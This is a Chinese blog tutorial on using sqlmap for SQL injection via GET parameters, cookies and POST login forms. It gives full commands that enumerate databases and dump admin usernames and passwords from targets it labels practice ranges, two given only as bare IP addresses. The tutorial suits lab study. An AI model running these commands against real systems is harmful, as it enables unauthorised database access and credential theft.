zoukankan      html  css  js  c++  java
  • sqlmap的使用方法(含靶场)

    0x00 sqlmap简介

    Sqlmap的7种等级:
    常用–leve 3
    在这里插入图片描述

    0x01 mysql数据库的注入

    靶场地址:http://59.63.200.79:8003
    查看数据库名

    sqlmap -u "http://59.63.200.79:8003/?id=1" --dbs
    

    在这里插入图片描述
    查看表

    sqlmap -u "http://59.63.200.79:8003/?id=1" -D maoshe --tables
    

    在这里插入图片描述
    查看列

    sqlmap -u "http://59.63.200.79:8003/?id=1" -D maoshe -T admin --columns
    

    在这里插入图片描述

    查看字段

    sqlmap -u "http://59.63.200.79:8003/?id=1" -D maoshe -T admin -C "Id,username,password" --dump
    

    在这里插入图片描述

    0x02 COOKIE注入

    靶场地址:http://117.167.136.245:10181/
    查看表

    sqlmap -u "http://117.167.136.245:10181/shownews.asp" --cookie "id=170" --table --level 2
    

    在这里插入图片描述
    查看列

    sqlmap -u "http://117.167.136.245:10181/shownews.asp" --cookie "id=170" -T admin --columns --level 2
    

    在这里插入图片描述
    查看字段

    sqlmap -u "http://117.167.136.245:10181/shownews.asp" --cookie "id=170" -T admin -C "user,content,flag,id,password,title,username" --level 2 --dump
    

    在这里插入图片描述

    0x03 POST登录框注入

    靶场地址:
    http://testasp.vulnweb.com/Login.asp
    方法一:
    1.点击login表单的submit按钮时用burp抓包
    2.将拦截到的post请求存为txt, 放至sqlmap目录下
    3.运行sqlmap并使用如下命令
    sqlmap -r “search-test.txt” -p tfUPass
    -r :让sqlmap加载我们的post请求rsearch-test.txt
    -p :指定注入用的参数
    查数据库

    sqlmap -r "search-test.txt" -p tfUPass --dbs
    

    查表

    sqlmap -r "search-test.txt" -p tfUPass-D fendo --tables
    

    查字段

    sqlmap -r "search-test.txt" -p tfUPass-D fendo -T user --columns
    

    方法二:
    自动搜索

    sqlmap -u "http://testasp.vulnweb.com/Login.asp" --forms
    

    注意:
    以下两个问题输入N其他均为Y。
    for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]
    对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗?[Y/n]
    输入"N"
    POST parameter ‘n’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
    POST参数’n’是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N]
    输入"N"

    方法三:
    指定参数搜索

    sqlmap -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=321&tfUPass=321"
    

    总结:
    当post的body形式为:
    param1=value1&param2=value2…使用方法一
    hhhhh使用方法三

  • 相关阅读:
    cmd 进入mysql 小技巧
    【scikit-learn】交叉验证及其用于參数选择、模型选择、特征选择的样例
    向txt文件中写入换行
    CTabCtrl的使用
    unicode下数据之间的转换
    下载数据库包
    python3.5.1语法
    配置Python+selenium+firefox自动化测试
    使用Tesseract OCR识别验证码
    white的配置使用
  • 原文地址:https://www.cnblogs.com/0nc3/p/12063430.html
Copyright © 2011-2022 走看看